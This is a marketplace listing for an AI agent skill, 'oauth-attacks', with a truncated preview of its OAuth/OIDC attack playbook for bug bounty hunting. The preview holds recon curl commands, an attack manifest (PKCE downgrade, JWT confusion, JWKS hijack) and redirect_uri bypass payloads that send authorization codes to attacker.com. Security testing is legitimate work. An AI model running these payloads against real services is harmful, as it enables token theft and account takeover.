oauth-attacks
Use when attacking OAuth 2.0 or OIDC implementations, testing for authorization code interception, PKCE bypass, open redirect chains, token leakage via…
Skill by kalpmodi
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/kalpmodi-oauth-attacks
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: testing, security
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/oauth-attacks
What's inside
- Skill name
oauth-attacks- Description
- Use when attacking OAuth 2.0 or OIDC implementations, testing for authorization code interception, PKCE bypass, open redirect chains, token leakage via referer, state parameter CSRF, token substitution, JWT confusion, implicit flow token theft, or OAuth misconfiguration in bug bounty targets. Also use when the user says "attack OAuth", "OAuth bug", "PKCE bypass", "redirect_uri bypass", "token leakage", or "SSO attack".
- License
- MIT
- Instructions
- 411 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Files (1)
- SKILL.md
SKILL.md (first lines)
# OAuth 2.0 / OIDC Attack Playbook
## Philosophy
OAuth bugs are the highest-paying web vulns on HackerOne. They chain directly to account takeover.
The attacker controls the redirect. Find one open redirect on the OAuth domain and you own the flow.
Never claim "account takeover" without demonstrating actual token receipt for another user's account.
## Arguments
`<target>` - domain with OAuth (e.g. app.target.com)
`<focus>` - optional: REDIRECT / CSRF / TOKEN-LEAK / JWT / PKCE / FULL
---
## Phase 0: Smart Intake
```bash
source ~/.claude/skills/_shared/phase0.sh
source ~/.claude/skills/_shared/signals.sh
p0_init_vars "$1"
p0_state_gate "HARVEST" || exit 0
p0_read_relay recon secrets
p0_read_memory
p0_read_hypotheses
# Narrow endpoints + wayback to OAuth-relevant paths
INTERESTING_ENDPOINTS=$(echo "$INTERESTING_ENDPOINTS" | grep -i "oauth\|auth\|login\|sso\|connect\|token\|authorize" | head -20)
WAYBACK_ENDPOINTS=$(echo "$WAYBACK_ENDPOINTS" | grep -i "oauth\|auth\|token" | head -10)
JWT_COUNT=$(echo "$JWT_TOKENS" | grep -c "ey" 2>/dev/null || echo 0)
TECH_STACK=$KNOWN_TECH
echo "=== PHASE 0 OAUTH INTAKE: $TARGET ==="
echo "State: $STATE | JWT tokens already found: $JWT_COUNT"
echo "OAuth-related endpoints from recon: $(echo "$INTERESTING_ENDPOINTS" | wc -l)"
echo "Tech stack: $TECH_STACK"
echo "Top hypothesis: $TOP_HYPO_LABEL [$TOP_HYPO_PROB%]"
echo "ATW flagged (avoid): ${ATW_FLAGGED:-none}"
```
### Execution Manifest
```bash
MANIFEST=$(cat << 'MANIFEST_EOF'
{
"phase": "oauth-attacks",
"generated_at": "YYYY-MM-DD HH:MM",
"items": [
{"id":"o01","tool":"oidc-discovery","target":"<target>/.well-known/openid-configuration","reason":"enumerate all OAuth endpoints + supported flows","priority":"MUST","status":"pending","skip_reason":null},
{"id":"o02","tool":"redirect-uri-bypass","target":"<oauth-authorize-endpoint>","reason":"code interception via loose redirect_uri validation","priority":"MUST","status":"pending","skip_reason":null},
{"id":"o03","tool":"state-csrf-test","target":"<oauth-callback-endpoint>","reason":"missing/bypassable state = CSRF account linking","priority":"MUST","status":"pending","skip_reason":null},
{"id":"o04","tool":"pkce-downgrade","target":"<oauth-authorize-endpoint>","reason":"PKCE not enforced = code interception without verifier","priority":"MUST","status":"pending","skip_reason":null},
{"id":"o05","tool":"jwt-claim-attack","target":"<access-token>","reason":"alg:none / RS256->HS256 confusion on OAuth tokens","priority":"MUST","status":"pending","skip_reason":"set to skipped if no JWT tokens found"},
{"id":"o06","tool":"token-leakage-referer","target":"<oauth-callback-page>","reason":"auth code in Referer to third-party analytics","priority":"SHOULD","status":"pending","skip_reason":null},
{"id":"o07","tool":"open-redirect-chain","target":"<target> redirectors","reason":"find open redirect + chain with redirect_uri bypass","priority":"MUST","status":"pending","skip_reason":null},
{"id":"o08","tool":"scope-escalation","target":"<token-endpoint>","reason":"request read scope, check if write/admin included","priority":"SHOULD","status":"pending","skip_reason":null},
{"id":"o09","tool":"jwks-uri-hijack","target":"<jku-claim-in-token>","reason":"attacker-controlled JWKS = forge any token","priority":"IF_TIME","status":"pending","skip_reason":"skip if no jku claim in token header"}
]
}
MANIFEST_EOF
)
jq --argjson m "$MANIFEST" '.scalpel.active_manifest = $m' $SESSION > /tmp/s.json && mv /tmp/s.json $SESSION
```
**Manifest adjustment rules:**
- If `JWT_COUNT=0` (no JWT tokens found in secrets phase): mark o05, o09 as `skipped` - run them only after o01 discovers tokens
- If `INTERESTING_ENDPOINTS` has specific OAuth provider URLs: update o01 target to those specific URLs
- If `STATE=DEEP` and top hypothesis is JWT-related: mark o02, o03, o06, o08 as `IF_TIME`; promote o05 to MUST
- If top hypothesis is account takeover chain: promote o07 (open redirect) to MUST first
---
## Phase 1 - OAuth Endpoint Discovery
```bash
# Common OAuth endpoints:
# Authorization: /oauth/authorize, /auth/oauth, /connect/authorize, /oauth2/authorize
# Token: /oauth/token, /token, /auth/token, /oauth2/token
# OIDC discovery (machine-readable endpoint list):
curl https://<target>/.well-known/openid-configuration
curl https://<target>/.well-known/oauth-authorization-server
# Also check:
curl https://<target>/.well-known/jwks.json # Public keys used to sign tokens
curl https://<target>/oauth2/v1/certs # Google-style
# Extract from JS bundles:
grep -r "oauth\|authorize\|client_id\|redirect_uri\|client_secret" ./js_bundles/
# Extract client_id and redirect_uri from login buttons:
# "Sign in with Google/GitHub/etc." -> view source -> find OAuth params in link
# client_id = app's registered ID with the provider
# redirect_uri = where provider sends code/token
# Test OIDC discovery for full metadata:
curl https://<target>/.well-known/openid-configuration | python3 -m json.tool
# Note: authorization_endpoint, token_endpoint, jwks_uri, response_types_supported
```
---
## Phase 2 - Redirect URI Bypass (Highest Impact)
**Goal:** Redirect the authorization code/token to attacker-controlled URL
```bash
# The registered redirect_uri is supposed to be exact-match validated.
# These bypass techniques work when validation is prefix-match or loose:
BASE_URI="https://app.target.com/oauth/callback"
CLIENT_ID="<client-id>"
AUTH_URL="https://provider.target.com/oauth/authorize"
# 1. Path traversal bypass (if prefix match validation):
${AUTH_URL}?client_id=${CLIENT_ID}&redirect_uri=https://app.target.com/oauth/callback/../../../attacker.com&response_type=code
# 2. URL fragment bypass:
redirect_uri=https://app.target.com/oauth/callback%23@attacker.com
redirect_uri=https://app.target.com/oauth/callback%23attacker.com/From kalpmodi/akira, MIT.
More from kalpmodi/akira
- 0.552score
plan-engagement
kalpmodi
Use when starting any pentesting engagement, receiving a target domain or IP, saying "new engagement", "start a pentest", "plan this target", or beginning any…
SkillCFreshness: C★ 23Claude Code +9 - 0.491score
zerodayhunt
kalpmodi
Use when hunting for zero-days, backdoors, RCE, supply chain attacks, JWT vulnerabilities, cache poisoning, HTTP smuggling, dependency confusion, source map…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
race-conditions
kalpmodi
Use when testing for race conditions, single-packet attacks, TOCTOU vulnerabilities, limit-bypass via concurrent requests, coupon/voucher reuse, double-spend…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
recon
kalpmodi
Use when running reconnaissance on a pentest target, starting phase 1 of an engagement, gathering subdomains, DNS resolution, live hosts, port scan results…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
redteam
kalpmodi
Use when running APT-level red team operations, post-exploitation, lateral movement, credential harvesting, Active Directory attacks (Kerberoasting, DCSync…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
report
kalpmodi
Use when generating a pentest report, writing up findings from a completed assessment, converting triage output into a structured document, or producing an…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
triage
kalpmodi
Use when aggregating pentest findings across all phases, clustering vulnerabilities by severity, prioritizing findings for a report, or surfacing the top…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
ad-attacks
kalpmodi
Use when attacking Active Directory environments, hunting Kerberoastable accounts, AS-REP roasting, DCSync, Pass-the-Hash, Pass-the-Ticket, BloodHound path…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
compact
kalpmodi
Use when context is running long during a pentest engagement, at phase boundaries after completing a full phase, or when the user says "compact", "compress…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
exploit
kalpmodi
Use when running exploitation phase of a pentest, testing for SQL injection, XSS, SSRF, JWT confusion, deserialization, prototype pollution, HTTP smuggling…
SkillDFreshness: D★ 23Claude Code +9 - 0.487score
secrets
kalpmodi
Use when hunting for secrets, API keys, tokens, or credentials on a pentest target, running phase 2 of an engagement, scanning JS files for hardcoded secrets…
SkillDFreshness: D★ 23Claude Code +9 - 0.487score
ctf
kalpmodi
Use when working on CTF (Capture the Flag) challenges, HackTheBox machines, TryHackMe rooms, pwn challenges, reverse engineering, cryptography puzzles…
SkillDFreshness: D★ 23Claude Code +9
Signals
- Stars
- 23
- Forks
- 4
- Open issues
- 0
- Last commit (this folder)
- Apr 25, 2026 (6 months ago)
- Last release
- Apr 25, 2026 (6 months ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- MIT
- Repository
- github.com/kalpmodi/akira
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from kalpmodi
- 0.552score
plan-engagement
kalpmodi
Use when starting any pentesting engagement, receiving a target domain or IP, saying "new engagement", "start a pentest", "plan this target", or beginning any…
SkillCFreshness: C★ 23Claude Code +9 - 0.491score
exploit
kalpmodi
Use when running exploitation phase of a pentest, testing for SQL injection, XSS, SSRF, JWT confusion, deserialization, prototype pollution, HTTP smuggling…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
ad-attacks
kalpmodi
Use when attacking Active Directory environments, hunting Kerberoastable accounts, AS-REP roasting, DCSync, Pass-the-Hash, Pass-the-Ticket, BloodHound path…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
triage
kalpmodi
Use when aggregating pentest findings across all phases, clustering vulnerabilities by severity, prioritizing findings for a report, or surfacing the top…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
compact
kalpmodi
Use when context is running long during a pentest engagement, at phase boundaries after completing a full phase, or when the user says "compact", "compress…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
race-conditions
kalpmodi
Use when testing for race conditions, single-packet attacks, TOCTOU vulnerabilities, limit-bypass via concurrent requests, coupon/voucher reuse, double-spend…
SkillDFreshness: D★ 23Claude Code +9
Cite this page
oauth-attacks skill. Agent Mart. https://agentmart.dev/skills/kalpmodi-oauth-attacks (last updated 2026-10-24)